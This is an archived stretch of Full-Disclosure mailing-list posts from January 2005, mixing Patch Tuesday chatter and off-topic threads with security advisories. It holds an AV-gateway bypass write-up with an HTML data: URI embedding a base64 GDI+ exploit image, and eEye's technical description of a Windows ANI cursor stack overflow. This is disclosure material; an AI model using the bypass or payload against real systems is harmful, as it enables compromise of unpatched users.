[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Matt
Ostiguy
Sent: Tuesday, January 11, 2005 11:07 AM
To: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] I thought Microsoft were releasing new
security patches today (11 Jan 2005)?

On Tue, 11 Jan 2005 15:13:45 -0000, Mike Diack <mike_diack at hotmail.com>
wrote:
> Where are they?
> Mike
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 

My experience has been that the 2nd tuesday of the month patch drop
occurs late in the day or evening, Eastern Standard Time.

Matt
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


This e-mail is the property of Oxygen Media, LLC.  It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail.





From toddtowles at brookshires.com  Tue Jan 11 17:16:33 2005
From: toddtowles at brookshires.com (Todd Towles)
Date: Tue, 11 Jan 2005 11:16:33 -0600
Subject: [Full-Disclosure] FW: MS Antispyware makes deal to leave Weatherbug
	alone
Message-ID: <9E97F0997FB84D42B221B9FB203EFA276E8FFB@dc1ms2.msad.brookshires.net>

 And the money payoff begins..

> -----Original Message-----
> From: jaynine [mailto:jaynine_tx at earthlink.net] 
> Sent: Tuesday, January 11, 2005 6:48 AM
> To: Patch Management Mailing List
> Subject: MS Antispyware makes deal to leave Weatherbug alone
> 
> I read this rather disturbing article on another tech list. 
> Pardon me if someone here has already made reference to it.
> 
> --- j9
> 
> http://netrn.net/spywareblog/archives/2005/01/07/adware-vs-microsoft/
> 
> 1/7/2005
> Adware vs. Microsoft
> 
> It's started folks. WeatherBug Miffed at Microsoft's Spyware 
> Classification .
> 
> Microsoft Corp.'s newly released anti-spyware is flagging a 
> component of AWS Convergence Technologies' WeatherBug 
> application as a threat to Windows users, prompting an 
> immediate complaint from the Gaithersburg, Md.-based company.
> 
> It appears this dispute has been resolved already: A 
> Microsoft spokeswoman said the beta product included a vendor 
> dispute-resolution mechanism to deal with complaints from 
> third-party companies.
> 
> In the case of WeatherBug, the dispute-resolution process 
> paid immediate dividends. On Friday, the company received a 
> response from Microsoft with the good news that the current 
> signatures for Minibug will be removed.
> 
> 
> 
> 
> 
> ---
> To unsubscribe send a blank email to 
> leave-patchmanagement at patchmanagement.org
> 



From michealespinola at gmail.com  Tue Jan 11 17:20:03 2005
From: michealespinola at gmail.com (Micheal Espinola Jr)
Date: Tue, 11 Jan 2005 12:20:03 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new security
	patches today (11 Jan 2005)?
In-Reply-To: <20050111161117.GJ214@DAPCVA.da>
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>
	<BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
	<20050111161117.GJ214@DAPCVA.da>
Message-ID: <acdc033d05011109205769ba1a@mail.gmail.com>

Nope, its the typically the 2nd Tuesday of the month. Also, they are
PST.  Myself being EST, I dont expect to see anything until
mid-afternoon.

MS did pre-announce that there would be a release today.  You can
verify this on the web site.


On Tue, 11 Jan 2005 17:11:17 +0100, Vincent Archer <var at deny-all.com> wrote:
> On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote:
> > Where are they?
> > Mike
> 
> Thursday usually, not tuesday?
> 
> --
> Vincent ARCHER
> varcher at denyall.com
> 
> Tel : +33 (0)1 40 07 47 14
> Fax : +33 (0)1 40 07 47 27
> Deny All - 5, rue Scribe - 75009 Paris - France
> www.denyall.com
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 


-- 
ME2

rss: <http://www.santeriasys.net/rss.xml>


From prandal at herefordshire.gov.uk  Tue Jan 11 17:21:35 2005
From: prandal at herefordshire.gov.uk (Randal, Phil)
Date: Tue, 11 Jan 2005 17:21:35 -0000
Subject: [Full-Disclosure] I thought Microsoft were releasing new secu
	rity patches today (11 Jan 2005)?
Message-ID: <86144ED6CE5B004DA23E1EAC0B569B580339F31A@isabella.herefordshire.gov.uk>

Looking at

 
http://www.microsoft.com/downloads/results.aspx?sortCriteria=date&freete
xt=security

should reveal all.

The Security Bulletins and KB articles aren't up yet, though.

Phil
----
Phil Randal
Network Engineer
Herefordshire Council
Hereford, UK  

> -----Original Message-----
> From: full-disclosure-bounces at lists.netsys.com 
> [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf 
> Of James Patterson Wicks
> Sent: 11 January 2005 16:56
> Cc: full-disclosure at lists.netsys.com
> Subject: RE: [Full-Disclosure] I thought Microsoft were 
> releasing new security patches today (11 Jan 2005)?
> 
> It's just 8:55 on the West Coast.  Let Bill get a cup of 
> coffee and check his email first!  :)
> 
> 
> -----Original Message-----
> From: full-disclosure-bounces at lists.netsys.com
> [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf 
> Of Vincent Archer
> Sent: Tuesday, January 11, 2005 11:11 AM
> To: Mike Diack
> Cc: full-disclosure at lists.netsys.com
> Subject: Re: [Full-Disclosure] I thought Microsoft were 
> releasing new security patches today (11 Jan 2005)?
> 
> On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote:
> > Where are they?
> > Mike
> 
> Thursday usually, not tuesday?
> 
> --
> Vincent ARCHER
> varcher at denyall.com
> 
> Tel : +33 (0)1 40 07 47 14
> Fax : +33 (0)1 40 07 47 27
> Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 
> 
> This e-mail is the property of Oxygen Media, LLC.  It is 
> intended only for the person or entity to which it is 
> addressed and may contain information that is privileged, 
> confidential, or otherwise protected from disclosure. 
> Distribution or copying of this e-mail or the information 
> contained herein by anyone other than the intended recipient 
> is prohibited. If you have received this e-mail in error, 
> please immediately notify us by sending an e-mail to 
> postmaster at oxygen.com and destroy all electronic and paper 
> copies of this e-mail.
> 
> 
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 


From and-bugtraq at doxdesk.com  Tue Jan 11 17:29:56 2005
From: and-bugtraq at doxdesk.com (Andrew Clover)
Date: Tue, 11 Jan 2005 18:29:56 +0100
Subject: [Full-Disclosure] Firespoofing [Firefox 1.0]
In-Reply-To: <41E3F4FD.30609@worldpay.com>
References: <FBF77CAA2771D31188580008C79182F213CBD072@usphlx16.phl.sap.corp>
	<41E3F4FD.30609@worldpay.com>
Message-ID: <41E40D14.2070904@doxdesk.com>

James Greenhalgh <james.greenhalgh at worldpay.com> wrote:

> It also doesn't work on non-Windows or with non-default colours.

Didn't work for Windows with default colours for me either; the real 
dialogue box jumped to the front. I am still on a nightly just before 
the 1.0 release though, and I believe it to be possible in theory. It 
could also, I think, be made to work without the 'browsing full screen' 
requirement.

> Really - this is more a window management thing surely?  If someone fell 
> for this, they'd deserve it to be honest.

It's window management, yeah, probably applicable to other browsers too, 
and not nearly as bad as the IE chromeless window stuff because you do 
get those extra couple of pixels of window edge to clue you in. But it's 
still not good.

The real solution is to force toolbar+menubar+addrtessbar on for all 
JavaScript pop-ups, at least as a default option setting. This would 
also fix the recently publicised problem with targeting other sites' 
pop-up windows for phishing.

-- 
Andrew Clover
mailto:and at doxdesk.com
http://www.doxdesk.com/


From abaker at gmail.com  Tue Jan 11 17:30:17 2005
From: abaker at gmail.com (ASB)
Date: Tue, 11 Jan 2005 12:30:17 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new security
	patches today (11 Jan 2005)?
In-Reply-To: <20050111173809.33d430b8.vh@helith.net>
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>
	<BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
	<20050111173809.33d430b8.vh@helith.net>
Message-ID: <343561e905011109305f6cd164@mail.gmail.com>

Yeah, because everyone is a kernel developer.


To answer the original question, the patches are released approx 1pm
EST on the 2nd Tuesday of each month.


-ASB
 FAST, CHEAP, SECURE: Pick Any TWO
 http://www.ultratech-llc.com/KB/



On Tue, 11 Jan 2005 17:38:09 +0100, vh <vh at helith.net> wrote:
> On Tue, 11 Jan 2005 15:13:45 -0000
> "Mike Diack" <mike_diack at hotmail.com> wrote:
> 
> > Where are they?
> > Mike
> 
> Start using OpenSource-OSs then you would be able to write the patches
> yourself if nobody cares for the security-holes.
> Microsoft don't care for ANY guy who buy an MS-OS if this guy is no CEO
> or any other person of any big company.
> 
> Don't count the patches...
> Count the security holes they didn't patched.
> 
> 
> vH


From devis at easynix.net  Tue Jan 11 17:51:16 2005
From: devis at easynix.net (devis)
Date: Tue, 11 Jan 2005 18:51:16 +0100
Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and
	Vulnerable
In-Reply-To: <3dc922c3050108105762eef57f@mail.gmail.com>
References: <200501081612.j08GCLrs013728@lists.netsys.com>
	<3dc922c3050108105762eef57f@mail.gmail.com>
Message-ID: <41E41214.4040502@easynix.net>

Matt Ostiguy wrote:

>On Sat, 8 Jan 2005 10:12:23 -0600, RandallM <randallm at fidmail.com> wrote:
>  
>
>>I don't think it's going to be free. While doing a small amount of research
>>on the "spyware community" I found this text string in the
>>GianttAntiSpywareUpdater.exe:
>>
>>    
>>
>
>Doesn't the fact that the executable's name contains a company that no
>longer exists (Giant) indicate that perhaps this BETA software will
>undergo some changes before its full release as a Microsoft product?
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>
>  
>
Buahwuahwuahwuawa ... you have to be gullible to think that M$ will not 
NOT cash on their own slack coding. Of course they will, now i suspect 
they even will try to make it go as an added cost for the OEMs, so 
consummers will pay transparently for one year signatures updates ... as 
they do/did for OSes.
Remember .. they never had a choice in the first place, why would they now ?


From jeff.gillian at gmail.com  Tue Jan 11 18:16:12 2005
From: jeff.gillian at gmail.com (Jeff Gillian)
Date: Tue, 11 Jan 2005 13:16:12 -0500
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass
	vulnerability
In-Reply-To: <F873C22A-633A-11D9-97DC-000A95820F5E@intrusense.com>
References: <F873C22A-633A-11D9-97DC-000A95820F5E@intrusense.com>
Message-ID: <d7242632050111101646268bca@mail.gmail.com>

Interesting. I tested a number of both Linux and Windows image
vulnerabilities that are all by default detected by my IronPort,
TippingPoint UnityOne and ISS Proventia appliances.

Using the technique you mentioned, they were ignored completely and delivered.
Additionally, there are appear to be several mail clients that support
that RFC, including Thunderbird so you can obviously target more than
just web browsers.

Jeff.


On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds
<dbounds at intrusense.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Multi-vendor AV gateway image inspection bypass vulnerability
> January 10, 2005
> 
> A vulnerability has been discovered which allows a remote attacker to
> bypass anti-virus
> (as well other security technologies such as IDS and IPS) inspection of
> HTTP image content.
> 
> By leveraging techniques described in RFC 2397 for base64 encoding
> image content within
> the URL scheme. A remote attack may encode a malicious image within the
> body of an HTML
> formatted document to circumvent content inspection.
> 
> For example:
> 
> http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php
> 
> The source code at the URL above will by default create a JPEG image
> that will attempt (and fail
> without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability.
> The image itself is detected
> by all AV gateway engines tested (Trend, Sophos and McAfee), however,
> when the same image
> is base64 encoded using the technique described in RFC 2397 (documented
> below), inspection
> is not performed and is delivered rendered by the client.
> 
> While Microsoft Internet Explorer does not support the RFC 2397 URL
> scheme; Firefox, Safari,
> Mozilla and Opera do and will render the data and thus successfully
> execute the payload if the necessary
> OS and/or application patches have not been applied.
> 
> ## BEGIN HTML ##
> 
> <html>
> <body>
> <img
> src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
> /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ
> CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b
> AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA
> AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
> oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl
> ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH
> yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA
> AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU
> QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk
> ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF
> xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD//
> Z">
> </body>
> </html>
> 
> ## END HTML ##
> 
> Solution:
> 
> While AV vendor patches are not yet available, fixes for all currently
> known image vulnerabilities are
> and have been for several months.  If you have not yet applied them,
> you have your own
> negligence to blame.
> 
> Contributions:
> 
> Thanks to Scott Roeder and Jacinto Rodriquez their assistance in
> platform testing.
> 
> Thank you,
> 
> Darren Bounds
> Intrusense, LLC.
> http://www.intrusense.com
> 
> - --
> Intrusense - Securing Business As Usual
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (Darwin)
> 
> iD8DBQFB4tKesvxTSz2eaa8RAluUAKDmUsM6Hf+U321P/kALTC/rKwoLOwCfaK57
> XT6MWYJOH3FmLfV3B1UfuJA=
> =82yy
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>


From dsoeder at eeye.com  Tue Jan 11 18:20:47 2005
From: dsoeder at eeye.com (Derek Soeder)
Date: Tue, 11 Jan 2005 10:20:47 -0800
Subject: [Full-Disclosure] EEYE: Windows ANI File Parsing Buffer Overflow
Message-ID: <7E592D2E5A7A274EA35DD0148B50DA01194F8C@av-mail01.corp.int-eeye.com>

Windows ANI File Parsing Buffer Overflow

Systems Affected:
Windows Me
Windows 2000
Windows XP (SP1 and earlier)
Windows 2003

Overview:
eEye Digital Security has discovered a vulnerability in USER32.DLL's
handling of Windows animated cursor (.ani) files that will allow a
remote attacker to reliably overwrite the stack with arbitrary data and
execute arbitrary code.

Because Windows animated cursors can be supplied for use by Internet
Explorer, this vulnerability affects any applications that use the
Internet Explorer component internally, such as Internet Explorer
itself, Word, Excel, PowerPoint, Outlook, Outlook Express, and so on, as
well as the Windows shell.

In the case of Internet Explorer, the user's system will be compromised
when the user views a website that shows a malformed ANI file referenced
via a style sheet in the HTML file. Likewise, a system may be
compromised through Outlook and Outlook Express when the user tries to
read an HTML e-mail containing a MIME-encoded malformed ANI file and a
style sheet referencing the encoded ANI file, invoked using HTML such as
< BODY style="CURSOR: url('cid:xxxx')" >. In the case of the Windows
shell (explorer.exe), exploitation occurs when the user opens a folder
containing a malformed ANI file.

This vulnerability also exists in all obsolete versions of the Windows
operating system (Windows 95/98/NT4).

Technical Details:
The buffer overflow bug exists in a part of USER32.DLL involved in
handling ANI animated cursor files. A partial ANI file format is given
below:

"RIFF" {(DWORD)Length_of_file}
"ACON"
"LIST" {(DWORD)Length_of_list}
"INFO"
"INAM" {(DWORD)Length_of_title} {szTitle}
"IART" {(DWORD)Length_of_author} {szAuthor}
"anih" {(DWORD)Length_of_AnimationHeader} {AnimationHeaderBlock}

Generally, the length of AnimationHeaderBlock shoule be 36 bytes
(0x00000024). The vulnerability is in the handling of the
Length_of_AnimationHeader field. This value will be passed as the length
argument of memcpy(), in order to copy the contents of
AnimationHeaderBlock, but the value is not checked appropriately. The
buffer intended to hold the AnimationHeaderBlock is located on the
stack, so we can overwrite the return address and exception handler on
the stack and jump into the buffer containing our code.

This vulnerability is a separate vulnerability from the ones discovered
by Xfocus.

Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.

Vendor Status:
Microsoft has released a patch for this vulnerability. The patch is
available at: 
http://www.microsoft.com/technet/security/bulletin/MS05-002.mspx

Credit:
Yuji Ukai

Related Links:
Retina Network Security Scanner - Free 15 Day Trial
http://www.eeye.com/html/Products/Retina/download.html

Greetings:
eEye Geneva and UK guys, Retina Japanese edition team, TEX at TEX (hey
watzup!!) , Manma Kanrakuzaka - Okinawa Cuisine (Tomato salad tastes
good)

Copyright (c) 1998-2005 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
alert at eEye.com for permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect
damages whatsoever arising out of or in connection with the use or
spread of this information. Any use of this information is at the user's
own risk.



From exibar at thelair.com  Tue Jan 11 18:46:56 2005
From: exibar at thelair.com (Exibar)
Date: Tue, 11 Jan 2005 13:46:56 -0500
Subject: [Full-Disclosure] PoC to be released on 01/20/05
References: <20050111021349.14562.qmail@web61208.mail.yahoo.com>
Message-ID: <002c01c4f80d$ee825a40$1214dd80@corp.emc.com>

I'm goign to spend double what I usually spend that day, and maybe buy a big screen TV just to piss people like you off....

  this is not the list for that crap, take it somewhere else...
  ----- Original Message ----- 
  From: Some User 
  To: full-disclosure at lists.netsys.com 
  Sent: Monday, January 10, 2005 9:13 PM
  Subject: [Full-Disclosure] PoC to be released on 01/20/05


  This is a PoC by the people! Be sure to do your part. :-)

  Not One Damn Dime Day - Jan 20, 2005

  Since our religious leaders will not speak out against the war in Iraq, since our political leaders don't have the moral courage to oppose it, Inauguration Day, Thursday, January 20th, 2005 is "Not One Damn Dime Day" in America.

  On "Not One Damn Dime Day" those who oppose what is happening in our name in Iraq can speak up with a 24-hour national boycott of all forms of consumer spending.

  During "Not One Damn Dime Day" please don't spend money. No one damn dime for gasoline. Not one damn dime for necessities or for impulse purchases. Not one damn dime for nothing for 24 hours.

  On "Not One Damn Dime Day," please boycott Wal-Mart, Kmart and Target.

  Please don't go to the mall or the local convenience store. Please don't buy any fast food (or any groceries at all for that matter).

  For 24 hours, please do what you can to shut the retail economy down.

  The object is simple. Remind the people in power that the war in Iraq is immoral and illegal; that they are responsible for starting it and that it is their responsibility to stop it.

  "Not One Damn Dime Day" is to remind them, too, that they work for the people of the United States of America, not for the international corporations and K Street lobbyists who represent the corporations and funnel cash into American politics.

  "Not One Damn Dime Day" is about supporting the troops. The politicians put the troops in harm's way.
  Now 1,200 brave young Americans and (some estimate) 100,000 Iraqis have died. The politicians owe our troops a plan - a way to come home.

  There's no rally to attend. No marching to do. No left or right wing agenda to rant about. On "Not One Damn Dime Day" you take action by doing nothing.

  You open your mouth by keeping your wallet closed.

  For 24 hours, nothing gets spent, not one damn dime, to remind our religious leaders and our politicians of their moral responsibility to end the war in Iraq and give America back to the people.

  ==> Please share this email. <==

  Original sent by:
  James Wong
  Marsteller Interactive


------------------------------------------------------------------------------
  Do you Yahoo!?
  The all-new My Yahoo! - What will yours do?


------------------------------------------------------------------------------


  _______________________________________________
  Full-Disclosure - We believe in it.
  Charter: http://lists.netsys.com/full-disclosure-charter.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/8aea94e3/attachment.html 

From kf_lists at digitalmunition.com  Tue Jan 11 18:48:41 2005
From: kf_lists at digitalmunition.com (KF (lists))
Date: Tue, 11 Jan 2005 13:48:41 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new security
	patches today (11 Jan 2005)?
In-Reply-To: <acdc033d05011109205769ba1a@mail.gmail.com>
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>	<BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>	<20050111161117.GJ214@DAPCVA.da>
	<acdc033d05011109205769ba1a@mail.gmail.com>
Message-ID: <41E41F89.50100@digitalmunition.com>

Ok folks the damn sky IS NOT falling.

I just checked my SUS install and I have 10 new updates...  so should you.

so lets all just FREAK OUT!@#$!@#
-KF

Micheal Espinola Jr wrote:

>Nope, its the typically the 2nd Tuesday of the month. Also, they are
>PST.  Myself being EST, I dont expect to see anything until
>mid-afternoon.
>
>MS did pre-announce that there would be a release today.  You can
>verify this on the web site.
>
>
>On Tue, 11 Jan 2005 17:11:17 +0100, Vincent Archer <var at deny-all.com> wrote:
>  
>
>>On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote:
>>    
>>
>>>Where are they?
>>>Mike
>>>      
>>>
>>Thursday usually, not tuesday?
>>
>>--
>>Vincent ARCHER
>>varcher at denyall.com
>>
>>Tel : +33 (0)1 40 07 47 14
>>Fax : +33 (0)1 40 07 47 27
>>Deny All - 5, rue Scribe - 75009 Paris - France
>>www.denyall.com
>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.netsys.com/full-disclosure-charter.html
>>
>>    
>>
>
>
>  
>



From chris at get-tuf.com  Tue Jan 11 18:49:28 2005
From: chris at get-tuf.com (Chris Brown)
Date: Tue, 11 Jan 2005 18:49:28 -0000 (GMT)
Subject: [Full-Disclosure] RE: I thought Microsoft were releasing new secu
 rity patches today (11 Jan 2005)?
Message-ID: <64821.194.6.81.93.1105469368.squirrel@194.6.81.93>

Da Plane, Da Plane.....

http://www.microsoft.com/security/bulletins/200501_windows.mspx


Tuffer

"I could fly like an eagle but weasels don't get sucked into jet engines"





From Mark.Handy at morganstanley.com  Tue Jan 11 18:56:50 2005
From: Mark.Handy at morganstanley.com (Handy, Mark (IT))
Date: Tue, 11 Jan 2005 13:56:50 -0500
Subject: [Full-Disclosure] I thought Microsoft were releasing new
	securitypatches today (11 Jan 2005)?
Message-ID: <627CD97A87B56C4BA6EB3FF91912090E02D55D70@NYWEXMB27.msad.ms.com>

These are now out as MS05-001/2/3 

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Micheal
Espinola Jr
Sent: 11 January 2005 12:20
To: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] I thought Microsoft were releasing new
securitypatches today (11 Jan 2005)?

Nope, its the typically the 2nd Tuesday of the month. Also, they are
PST.  Myself being EST, I dont expect to see anything until
mid-afternoon.

MS did pre-announce that there would be a release today.  You can verify
this on the web site.


On Tue, 11 Jan 2005 17:11:17 +0100, Vincent Archer <var at deny-all.com>
wrote:
> On Tue, Jan 11, 2005 at 03:13:45PM -0000, Mike Diack wrote:
> > Where are they?
> > Mike
> 
> Thursday usually, not tuesday?
> 
> --
> Vincent ARCHER
> varcher at denyall.com
> 
> Tel : +33 (0)1 40 07 47 14
> Fax : +33 (0)1 40 07 47 27
> Deny All - 5, rue Scribe - 75009 Paris - France www.denyall.com
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
> 


--
ME2

rss: <http://www.santeriasys.net/rss.xml>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html 
--------------------------------------------------------
 
NOTICE: If received in error, please destroy and notify sender.  Sender does not waive confidentiality or privilege, and use is prohibited. 
 



From toddtowles at brookshires.com  Tue Jan 11 19:04:50 2005
From: toddtowles at brookshires.com (Todd Towles)
Date: Tue, 11 Jan 2005 13:04:50 -0600
Subject: [Full-Disclosure] FW: New Security Patches from Microsoft
Message-ID: <9E97F0997FB84D42B221B9FB203EFA276E9036@dc1ms2.msad.brookshires.net>

No IE patch, it would seem.

> -----Original Message-----
> From: Eric Schultze [mailto:eric.schultze at shavlik.com]
> Sent: Tuesday, January 11, 2005 12:09 PM
> To: Patch Management Mailing List
> Subject: New Security Patches from Microsoft
> 
> Three new security bulletins have been released
> 
> 
> MS05-001 (Critical)Vulnerability in the Indexing Service 
> Could Allow Remote Code Execution (871250) Vulnerability in 
> HTML Help Could Allow Code Execution (890175) 
> http://www.microsoft.com/technet/security/Bulletin/MS05-001.mspx
> 
> MS05-002 (Critical)
> Vulnerability in Cursor and Icon Format Handling Could Allow 
> Remote Code Execution (891711) 
> http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx
> 
> MS05-003 (Important)
> Vulnerability in the Indexing Service Could Allow Remote Code 
> Execution
> (871250)
> http://www.microsoft.com/technet/security/Bulletin/MS05-003.mspx
> 
> 
> 
> Happy Testing
> 
> Eric
> 
> 
> ---
> To unsubscribe send a blank email to
> leave-patchmanagement at patchmanagement.org
> 
> ---
> To unsubscribe send a blank email to 
> leave-patchmanagement at patchmanagement.org
> 



From nocmonkey at gmail.com  Tue Jan 11 19:14:17 2005
From: nocmonkey at gmail.com (Danny)
Date: Tue, 11 Jan 2005 14:14:17 -0500
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass
	vulnerability
In-Reply-To: <F873C22A-633A-11D9-97DC-000A95820F5E@intrusense.com>
References: <F873C22A-633A-11D9-97DC-000A95820F5E@intrusense.com>
Message-ID: <addc34c605011111146fccd84a@mail.gmail.com>

On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds
<dbounds at intrusense.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Multi-vendor AV gateway image inspection bypass vulnerability
> January 10, 2005
> 
> A vulnerability has been discovered which allows a remote attacker to
> bypass anti-virus
> (as well other security technologies such as IDS and IPS) inspection of
> HTTP image content.
> 
> By leveraging techniques described in RFC 2397 for base64 encoding
> image content within
> the URL scheme. A remote attack may encode a malicious image within the
> body of an HTML
> formatted document to circumvent content inspection.
> 
> For example:
> 
> http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php
> 
> The source code at the URL above will by default create a JPEG image
> that will attempt (and fail
> without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability.
> The image itself is detected
> by all AV gateway engines tested (Trend, Sophos and McAfee), however,
> when the same image
> is base64 encoded using the technique described in RFC 2397 (documented
> below), inspection
